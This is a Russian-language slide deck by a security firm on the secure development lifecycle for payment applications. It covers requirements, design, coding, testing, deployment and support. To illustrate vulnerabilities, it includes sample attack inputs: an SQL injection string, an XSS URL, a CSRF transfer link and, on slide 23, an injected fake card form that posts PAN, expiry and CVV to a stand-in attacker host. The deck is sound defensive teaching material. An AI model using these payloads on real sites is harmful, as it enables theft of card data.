Contenu connexe
Similaire à Жизненный цикл безопасной разработки платежных приложений (20)
Жизненный цикл безопасной разработки платежных приложений
- 1. © ООО «Дейтерий», 2010 – 2016 | 192012, Россия, Санкт-Петербург, пр. Обуховской Обороны д. 271, лит. А | +7 (812) 361-61-55 | www.deiteriy.com | info@deiteriy.com
Жизненный цикл безопасной разработки программного
обеспечения
- 2. 1-2 Жизненный цикл безопасной разработки программного обеспечения
© ООО «Дейтерий», 2010 – 2016 | 192012, Россия, Санкт-Петербург, пр. Обуховской Обороны д. 271, лит. А | +7 (812) 361-61-55 | www.deiteriy.com | info@deiteriy.com
Кристина Андреева
Специалист по защите
информации компании
Deiteriy, CISA, PCI QSA.
Семен Уваров
Специалист по тестированию
на проникновение компании
Deiteriy.
Спикеры
- 3. 1-3 Жизненный цикл безопасной разработки программного обеспечения
© ООО «Дейтерий», 2010 – 2016 | 192012, Россия, Санкт-Петербург, пр. Обуховской Обороны д. 271, лит. А | +7 (812) 361-61-55 | www.deiteriy.com | info@deiteriy.com
Стадии жизненного цикла
Стадия 1: разработка требований
Стадия 2: проектирование
Стадия 3: разработка кода
Стадия 4: тестирование приложения
Стадия 5: перевод в боевую среду
Стадия 6: поддержка
- 4. 1-4 Жизненный цикл безопасной разработки программного обеспечения
© ООО «Дейтерий», 2010 – 2016 | 192012, Россия, Санкт-Петербург, пр. Обуховской Обороны д. 271, лит. А | +7 (812) 361-61-55 | www.deiteriy.com | info@deiteriy.com
Стадия 1: разработка требований
Функциональность
должно делать
Безопасность
не должно делать
Аутентификация Перебор пароля
Авторизация Лишние права доступа
Восстановление пароля Повторное использование ссылки для
восстановления пароля
Управление сессиями Перехват сессии
Передача данных Перехват данных
Оплата по банковской карте Использование недействительных
данных банковской карты
Обработка исключений Вывод полного содержимого ошибки
на экран пользователю
Протоколирование событий Сохранение в журналах критичных
данных
Стадия 1:
Разработка требований
Стадия 2:
Проектирование
Стадия 3:
Разработка кода
Стадия 4:
Тестирование приложения
Стадия 5:
Перевод в боевую среду
Стадия 6:
Поддержка
- 5. 1-5 Жизненный цикл безопасной разработки программного обеспечения
© ООО «Дейтерий», 2010 – 2016 | 192012, Россия, Санкт-Петербург, пр. Обуховской Обороны д. 271, лит. А | +7 (812) 361-61-55 | www.deiteriy.com | info@deiteriy.com
Восстановление пароля
• одноразовые ссылки;
• ограничение на количество запросов восстановления.
https://example.ru/user/password/restore?user
Id=vasya@gmail.com&code=1625382736
&confirm=768GhtyI787Ght
https://example.ru/user/password/restore?user
Id=vasya@gmail.com&code=1625382736
&confirm=768GhtyI787Ght
https://example.ru/user/password/restore?user
Id=vasya@gmail.com&code=1625382736
&confirm=768GhtyI787Ght
https://example.ru/user/password/restore?user
Id=vasya@gmail.com&code=1625382736
&confirm=768GhtyI787Ght
Стадия 1:
Разработка требований
Стадия 2:
Проектирование
Стадия 3:
Разработка кода
Стадия 4:
Тестирование приложения
Стадия 5:
Перевод в боевую среду
Стадия 6:
Поддержка
- 6. 1-6 Жизненный цикл безопасной разработки программного обеспечения
© ООО «Дейтерий», 2010 – 2016 | 192012, Россия, Санкт-Петербург, пр. Обуховской Обороны д. 271, лит. А | +7 (812) 361-61-55 | www.deiteriy.com | info@deiteriy.com
Корректное управление сессиями
Bank.ruBank.ru
Transfer 10 000
http://bank.ru/
transfermoney?to=….&amount=10000">
Стадия 1:
Разработка требований
Стадия 2:
Проектирование
Стадия 3:
Разработка кода
Стадия 4:
Тестирование приложения
Стадия 5:
Перевод в боевую среду
Стадия 6:
Поддержка
- 7. 1-7 Жизненный цикл безопасной разработки программного обеспечения
© ООО «Дейтерий», 2010 – 2016 | 192012, Россия, Санкт-Петербург, пр. Обуховской Обороны д. 271, лит. А | +7 (812) 361-61-55 | www.deiteriy.com | info@deiteriy.com
Корректное управление сессиями
Bank.ruBank.ru
• Использование токенов:
– уникальные;
– непредсказуемые.
TOKEN=26022016112045
TOKEN=90c09cad2bb1f7ef863deaf731ee1f21
HTTP request TOKEN=1ghY872…...
HTTP respond TOKEN=1ghY872…...
Стадия 1:
Разработка требований
Стадия 2:
Проектирование
Стадия 3:
Разработка кода
Стадия 4:
Тестирование приложения
Стадия 5:
Перевод в боевую среду
Стадия 6:
Поддержка
- 8. 1-8 Жизненный цикл безопасной разработки программного обеспечения
© ООО «Дейтерий», 2010 – 2016 | 192012, Россия, Санкт-Петербург, пр. Обуховской Обороны д. 271, лит. А | +7 (812) 361-61-55 | www.deiteriy.com | info@deiteriy.com
- все данные введены верно.
Верификация платежных данных
- не позднее текущей даты;
- не больше пяти лет.
- только цифры;
- начинается на 4 и 5;
- BIN номера;
- алгоритм Луна.
- ограничение на
количество символов;
- три цифры.
- все данные введены верно.
Стадия 1:
Разработка требований
Стадия 2:
Проектирование
Стадия 3:
Разработка кода
Стадия 4:
Тестирование приложения
Стадия 5:
Перевод в боевую среду
Стадия 6:
Поддержка
- 9. 1-9 Жизненный цикл безопасной разработки программного обеспечения
© ООО «Дейтерий», 2010 – 2016 | 192012, Россия, Санкт-Петербург, пр. Обуховской Обороны д. 271, лит. А | +7 (812) 361-61-55 | www.deiteriy.com | info@deiteriy.com
Хранение критичных данных
• Маскирование: 1234 56** **** 7890
• Хеширование:
– нестойкие: MD5, SHA1
– стойкие: SHA512, Salt
• Шифрование:
– нестойкие: DES, RC4, XOR
– стойкие: AES, 3DES
• Токенизация: 81F9D5C87DE03C
! Маскирование + хеширование PAN
Стадия 1:
Разработка требований
Стадия 2:
Проектирование
Стадия 3:
Разработка кода
Стадия 4:
Тестирование приложения
Стадия 5:
Перевод в боевую среду
Стадия 6:
Поддержка
- 10. 1-10 Жизненный цикл безопасной разработки программного обеспечения
© ООО «Дейтерий», 2010 – 2016 | 192012, Россия, Санкт-Петербург, пр. Обуховской Обороны д. 271, лит. А | +7 (812) 361-61-55 | www.deiteriy.com | info@deiteriy.com
Стадия 2: проектирование
Функциональность Безопасность
Проектирование архитектуры
приложения
Проектирование системы защиты
приложения
Детальное проектирование функций Детальное проектирование функций
безопасности
Алгоритмы работы Изучение алгоритмов работы и поиск
слабых мест
Диаграммы: UML, блок-схемы, потоки
данных
Изучение схемы потоков данных и
поиск слабых мест, моделирование
угроз безопасности
Стадия 1:
Разработка требований
Стадия 2:
Проектирование
Стадия 3:
Разработка кода
Стадия 4:
Тестирование приложения
Стадия 5:
Перевод в боевую среду
Стадия 6:
Поддержка
- 11. 1-11 Жизненный цикл безопасной разработки программного обеспечения
© ООО «Дейтерий», 2010 – 2016 | 192012, Россия, Санкт-Петербург, пр. Обуховской Обороны д. 271, лит. А | +7 (812) 361-61-55 | www.deiteriy.com | info@deiteriy.com
Анализ потоков данных
Приложение
(2) Вход в систему
(1) Регистрация
(3) Заказ товара
Персональные данные
Логин, пароль
Пароль для входа
Успешно/ошибка
Данные заказа
Данные карты
Успешно/ошибка
(5) Третья сторона(5) Третья сторона
Данные карты
(4) База данных
Данные
Данные
Данные
Стадия 1:
Разработка требований
Стадия 2:
Проектирование
Стадия 3:
Разработка кода
Стадия 4:
Тестирование приложения
Стадия 5:
Перевод в боевую среду
Стадия 6:
Поддержка
- 12. 1-12 Жизненный цикл безопасной разработки программного обеспечения
© ООО «Дейтерий», 2010 – 2016 | 192012, Россия, Санкт-Петербург, пр. Обуховской Обороны д. 271, лит. А | +7 (812) 361-61-55 | www.deiteriy.com | info@deiteriy.com
Корректная обработка ошибок
• Try … catch
Стадия 1:
Разработка требований
Стадия 2:
Проектирование
Стадия 3:
Разработка кода
Стадия 4:
Тестирование приложения
Стадия 5:
Перевод в боевую среду
Стадия 6:
Поддержка
- 13. 1-13 Жизненный цикл безопасной разработки программного обеспечения
© ООО «Дейтерий», 2010 – 2016 | 192012, Россия, Санкт-Петербург, пр. Обуховской Обороны д. 271, лит. А | +7 (812) 361-61-55 | www.deiteriy.com | info@deiteriy.com
Безопасная работа с HTTP-запросами
• Использование GET при передаче:
– сохраняется в истории браузера.
• Заголовки безопасности:
– Cache-Control: no-store
– Pragma: no-cache
– X-Frame-Options: DENY
– Strict-Transport-Security: max-age=16070400;
includeSubDomains
– Content-Security-Policy: default-src ‘self’
Стадия 1:
Разработка требований
Стадия 2:
Проектирование
Стадия 3:
Разработка кода
Стадия 4:
Тестирование приложения
Стадия 5:
Перевод в боевую среду
Стадия 6:
Поддержка
- 14. 1-14 Жизненный цикл безопасной разработки программного обеспечения
© ООО «Дейтерий», 2010 – 2016 | 192012, Россия, Санкт-Петербург, пр. Обуховской Обороны д. 271, лит. А | +7 (812) 361-61-55 | www.deiteriy.com | info@deiteriy.com
Корректное управление доступомГость Пользователь Оператор Администратор
Просмотр товаров
Добавление
товаров x x x
Покупка товара
X x
Просмотр
корзины x
Просмотр
пользователей x x
Добавление и
изменение
пользователей
x x x
Журнал
транзакций x x
Стадия 1:
Разработка требований
Стадия 2:
Проектирование
Стадия 3:
Разработка кода
Стадия 4:
Тестирование приложения
Стадия 5:
Перевод в боевую среду
Стадия 6:
Поддержка
- 15. 1-15 Жизненный цикл безопасной разработки программного обеспечения
© ООО «Дейтерий», 2010 – 2016 | 192012, Россия, Санкт-Петербург, пр. Обуховской Обороны д. 271, лит. А | +7 (812) 361-61-55 | www.deiteriy.com | info@deiteriy.com
Стадия 3: разработка кода
• Минимизировать использование небезопасных функций:
– PHP: exec(), system(), shell_exec(), passthru()
– C++: strcpy(), wsprintf(), _fstrncat()
• Использование анти-XSS библиотек:
– Microsoft Anti-Cross Site Scripting Library;
– снижение производительности.
• Использование канонического формата данных:
– гггг-мм-дд чч:ми:сс
– URL-кодировка.
• Избежание конкатенации строк в динамических SQL-запросах:
$sql=“SELECT * FROM tab WHERE pass=“+$pass;
$pass=1 OR 1=“;
Итог: $sql=“SELECT * FROM tab WHERE pass=1 OR 1=1”;
Стадия 1:
Разработка требований
Стадия 2:
Проектирование
Стадия 3:
Разработка кода
Стадия 4:
Тестирование приложения
Стадия 5:
Перевод в боевую среду
Стадия 6:
Поддержка
- 16. 1-16 Жизненный цикл безопасной разработки программного обеспечения
© ООО «Дейтерий», 2010 – 2016 | 192012, Россия, Санкт-Петербург, пр. Обуховской Обороны д. 271, лит. А | +7 (812) 361-61-55 | www.deiteriy.com | info@deiteriy.com
Принципы разработки
• Эффективное комментирование кода:
– читаемость кода;
– смена разработчика.
• Модульное программирование:
– логическая независимость;
– один вход и один выход.
• Парное программирование:
– смена работника.
• Работа с памятью.
Стадия 1:
Разработка требований
Стадия 2:
Проектирование
Стадия 3:
Разработка кода
Стадия 4:
Тестирование приложения
Стадия 5:
Перевод в боевую среду
Стадия 6:
Поддержка
- 17. 1-17 Жизненный цикл безопасной разработки программного обеспечения
© ООО «Дейтерий», 2010 – 2016 | 192012, Россия, Санкт-Петербург, пр. Обуховской Обороны д. 271, лит. А | +7 (812) 361-61-55 | www.deiteriy.com | info@deiteriy.com
Принципы разработки
• Защищенное взаимодействие:
– отключение 80-го порта;
– TLS 1.1 и выше;
– Wildcard-сертификаты;
• Корректная регистрация событий:
– дата и время события;
– источник события;
– информация о событии.
• Контроль целостности кода:
– исполняемые файлы;
– файлы конфигураций.
Стадия 1:
Разработка требований
Стадия 2:
Проектирование
Стадия 3:
Разработка кода
Стадия 4:
Тестирование приложения
Стадия 5:
Перевод в боевую среду
Стадия 6:
Поддержка
- 18. 1-18 Жизненный цикл безопасной разработки программного обеспечения
© ООО «Дейтерий», 2010 – 2016 | 192012, Россия, Санкт-Петербург, пр. Обуховской Обороны д. 271, лит. А | +7 (812) 361-61-55 | www.deiteriy.com | info@deiteriy.com
Стадия 4: тестирование приложения
Написание
кода
Анализ кода
Функциональное
тестирование
Тестирование по
безопасности
Успешно?
Успешно?
Успешно?
LДА
LДА
LДА
LНЕТ
LНЕТ
LНЕТ
Стадия 1:
Разработка требований
Стадия 2:
Проектирование
Стадия 3:
Разработка кода
Стадия 4:
Тестирование приложения
Стадия 5:
Перевод в боевую среду
Стадия 6:
Поддержка
- 19. 1-19 Жизненный цикл безопасной разработки программного обеспечения
© ООО «Дейтерий», 2010 – 2016 | 192012, Россия, Санкт-Петербург, пр. Обуховской Обороны д. 271, лит. А | +7 (812) 361-61-55 | www.deiteriy.com | info@deiteriy.com
Анализ кода
• визуальный (немного строк):
– перекрестная проверка;
– отдельный работник;
• автоматический (большое количество
строк):
– коммерческие;
– с открытым исходным кодом;
– собственная разработка.
Стадия 1:
Разработка требований
Стадия 2:
Проектирование
Стадия 3:
Разработка кода
Стадия 4:
Тестирование приложения
Стадия 5:
Перевод в боевую среду
Стадия 6:
Поддержка
- 20. 1-20 Жизненный цикл безопасной разработки программного обеспечения
© ООО «Дейтерий», 2010 – 2016 | 192012, Россия, Санкт-Петербург, пр. Обуховской Обороны д. 271, лит. А | +7 (812) 361-61-55 | www.deiteriy.com | info@deiteriy.com
Выявление уязвимостей в коде
http://victim.com/test_eval.html#alert(1)
Стадия 1:
Разработка требований
Стадия 2:
Проектирование
Стадия 3:
Разработка кода
Стадия 4:
Тестирование приложения
Стадия 5:
Перевод в боевую среду
Стадия 6:
Поддержка
- 21. 1-21 Жизненный цикл безопасной разработки программного обеспечения
© ООО «Дейтерий», 2010 – 2016 | 192012, Россия, Санкт-Петербург, пр. Обуховской Обороны д. 271, лит. А | +7 (812) 361-61-55 | www.deiteriy.com | info@deiteriy.com
Запрет встраивания в код аутентификационных
данных
Стадия 1:
Разработка требований
Стадия 2:
Проектирование
Стадия 3:
Разработка кода
Стадия 4:
Тестирование приложения
Стадия 5:
Перевод в боевую среду
Стадия 6:
Поддержка
- 22. 1-22 Жизненный цикл безопасной разработки программного обеспечения
© ООО «Дейтерий», 2010 – 2016 | 192012, Россия, Санкт-Петербург, пр. Обуховской Обороны д. 271, лит. А | +7 (812) 361-61-55 | www.deiteriy.com | info@deiteriy.com
Тестирование на безопасность
Тестирование на безопасность:
• выполнение требований стадии 1:
– не делает того, чего делать не должно;
• автоматическое сканирование на уязвимости
кода:
– Web Application (Vulnerability) Scanning;
• тестирование на проникновение;
• проверка входа и выхода;
• фаззинг (случайные данные).
Стадия 1:
Разработка требований
Стадия 2:
Проектирование
Стадия 3:
Разработка кода
Стадия 4:
Тестирование приложения
Стадия 5:
Перевод в боевую среду
Стадия 6:
Поддержка
- 23. 1-23 Жизненный цикл безопасной разработки программного обеспечения
© ООО «Дейтерий», 2010 – 2016 | 192012, Россия, Санкт-Петербург, пр. Обуховской Обороны д. 271, лит. А | +7 (812) 361-61-55 | www.deiteriy.com | info@deiteriy.com
Фильтрация всех вводимых и выводимых данных
• JavaScript-код:
– FirstName = Vvedite PAN<form action="http://hacker.tk/log.php"
method="POST"><input type='text‘
• HTML-код:
– http://hacker.tk/ref.html?';});</script><html><form
action='http://hacker.tk/log.php' method='POST'></br>vvedite
PAN<input type='text' name = 'pan'/><br>vvedite expdate<input
type=text name='expdate'/><br>vvedite cvv<input type='text'
name='cvv'/><input type='submit' name='submit' value =
'Оплатить'/></form></html>
• Фильтрация управляющих символов языков
JavaScript, HTML и SQL;
• Проверка данных на стороне сервера.
Стадия 1:
Разработка требований
Стадия 2:
Проектирование
Стадия 3:
Разработка кода
Стадия 4:
Тестирование приложения
Стадия 5:
Перевод в боевую среду
Стадия 6:
Поддержка
- 24. 1-24 Жизненный цикл безопасной разработки программного обеспечения
© ООО «Дейтерий», 2010 – 2016 | 192012, Россия, Санкт-Петербург, пр. Обуховской Обороны д. 271, лит. А | +7 (812) 361-61-55 | www.deiteriy.com | info@deiteriy.com
Принципы тестирования
• тестовые серверы;
• тестовые данные;
• разделение сред на канальном, сетевом и
прикладном уровне;
• разделение полномочий:
– тестировщик != программист;
– программист != администратор.
Стадия 1:
Разработка требований
Стадия 2:
Проектирование
Стадия 3:
Разработка кода
Стадия 4:
Тестирование приложения
Стадия 5:
Перевод в боевую среду
Стадия 6:
Поддержка
- 25. 1-25 Жизненный цикл безопасной разработки программного обеспечения
© ООО «Дейтерий», 2010 – 2016 | 192012, Россия, Санкт-Петербург, пр. Обуховской Обороны д. 271, лит. А | +7 (812) 361-61-55 | www.deiteriy.com | info@deiteriy.com
Разделение сред на канальном
уровне
Стадия 1:
Разработка требований
Стадия 2:
Проектирование
Стадия 3:
Разработка кода
Стадия 4:
Тестирование приложения
Стадия 5:
Перевод в боевую среду
Стадия 6:
Поддержка
PRODUCTIVE
TESTTEST
PRODUCTIVE
Internet
LogServer
10.250.10.44/30
10.250.10.43/30
10.250.10.13/30
10.250.10.14/30
10.250.30.18/30
10.250.30.17/30
PRODUCTIVE
TerminalServer
10.250.10.24/30
10.250.10.23/30
WebSever1
TestServer1
- 26. 1-26 Жизненный цикл безопасной разработки программного обеспечения
© ООО «Дейтерий», 2010 – 2016 | 192012, Россия, Санкт-Петербург, пр. Обуховской Обороны д. 271, лит. А | +7 (812) 361-61-55 | www.deiteriy.com | info@deiteriy.com
Стадия 5: перевод в боевую среду
• Удаление тестовых данных:
– логины и пароли:
• test/test, adm/test, user/test.
– пользовательские данные и настройки:
• test_01@gmail.com, изображения профиля, иные данные.
– тестовые данные платежных карт;
– тестовые веб-страницы.
• Закрытие доступа к служебным страницам:
– git, phpinfo(), icons.
• Отключение debug-режима:
– log.txt:
• logon.fx: … id=PaulBonne … passw=15uI_KO90iJe … success
• payment.fx: … PAN=45672636145245365 … success
Стадия 1:
Разработка требований
Стадия 2:
Проектирование
Стадия 3:
Разработка кода
Стадия 4:
Тестирование приложения
Стадия 5:
Перевод в боевую среду
Стадия 6:
Поддержка
- 27. 1-27 Жизненный цикл безопасной разработки программного обеспечения
© ООО «Дейтерий», 2010 – 2016 | 192012, Россия, Санкт-Петербург, пр. Обуховской Обороны д. 271, лит. А | +7 (812) 361-61-55 | www.deiteriy.com | info@deiteriy.com
Стадия 5: перевод в боевую среду
• Формирование пакета для развертывания:
– file1, file2, file3, todo.txt.
• Формирование процедуры отката:
– Если … то …
• Анализ логов на предмет ошибок.
Стадия 1:
Разработка требований
Стадия 2:
Проектирование
Стадия 3:
Разработка кода
Стадия 4:
Тестирование приложения
Стадия 5:
Перевод в боевую среду
Стадия 6:
Поддержка
- 28. 1-28 Жизненный цикл безопасной разработки программного обеспечения
© ООО «Дейтерий», 2010 – 2016 | 192012, Россия, Санкт-Петербург, пр. Обуховской Обороны д. 271, лит. А | +7 (812) 361-61-55 | www.deiteriy.com | info@deiteriy.com
Стадия 6: поддержка
• Сканирование сетевой инфраструктуры:
– внутреннее;
– внешнее.
• Тестирование на проникновение:
– внутреннее;
– внешнее.
• Регулярное обновление инфраструктуры;
• Отслеживание уязвимостей;
• Регулярный анализ логов;
• Формирование заданий на доработку.
Стадия 1:
Разработка требований
Стадия 2:
Проектирование
Стадия 3:
Разработка кода
Стадия 4:
Тестирование приложения
Стадия 5:
Перевод в боевую среду
Стадия 6:
Поддержка
- 29. 1-29 Жизненный цикл безопасной разработки программного обеспечения
© ООО «Дейтерий», 2010 – 2016 | 192012, Россия, Санкт-Петербург, пр. Обуховской Обороны д. 271, лит. А | +7 (812) 361-61-55 | www.deiteriy.com | info@deiteriy.com
Изменение кодаЗапрос на
изменение кода
Успешно?
Разработка кода
изменения
Анализ кода
Функциональное
тестирование
Успешно?
Включение в
релиз
Функциональное
тестирование
релиза
Тестирование
релиза на
безопасность
Формирование пакета
обновления, заявка на
обновление релиза,
процедура отката
НЕТ ДА
ДА
Успешно?
НЕТ ДА
Успешно?
Исключение
изменения из
релиза
НЕТ
НЕТ ДА
Стадия 1:
Разработка требований
Стадия 2:
Проектирование
Стадия 3:
Разработка кода
Стадия 4:
Тестирование приложения
Стадия 5:
Перевод в боевую среду
Стадия 6:
Поддержка
- 30. 1-30 Жизненный цикл безопасной разработки программного обеспечения
© ООО «Дейтерий», 2010 – 2016 | 192012, Россия, Санкт-Петербург, пр. Обуховской Обороны д. 271, лит. А | +7 (812) 361-61-55 | www.deiteriy.com | info@deiteriy.com
Резюме
Стадии Функциональность Безопасность
Разработка требований
Функциональность,
переносимость,
технология
Требования к
безопасности
Проектирование
Архитектура, функции,
потоки данных
Моделирование функций
безопасности,
моделирование угроз
Разработка кода Функциональное
тестирование, тестовые
данные
Анализ кода, тестирование
на безопасностьТестирование приложения
Перевод в боевую среду Удаление тестовых данных, процедура отката
Поддержка Написание новых модулей
Соблюдение цикла
безопасной разработки
Стадия 1:
Разработка требований
Стадия 2:
Проектирование
Стадия 3:
Разработка кода
Стадия 4:
Тестирование приложения
Стадия 5:
Перевод в боевую среду
Стадия 6:
Поддержка
- 31. Жизненный цикл безопасной разработки программного обеспечения
© ООО «Дейтерий», 2010 – 2016 | 192012, Россия, Санкт-Петербург, пр. Обуховской Обороны д. 271, лит. А | +7 (812) 361-61-55 | www.deiteriy.com | info@deiteriy.com
Контакты
• kristina.andreeva@deiteriy.com
• simon.uvarov@deiteriy.com
1-31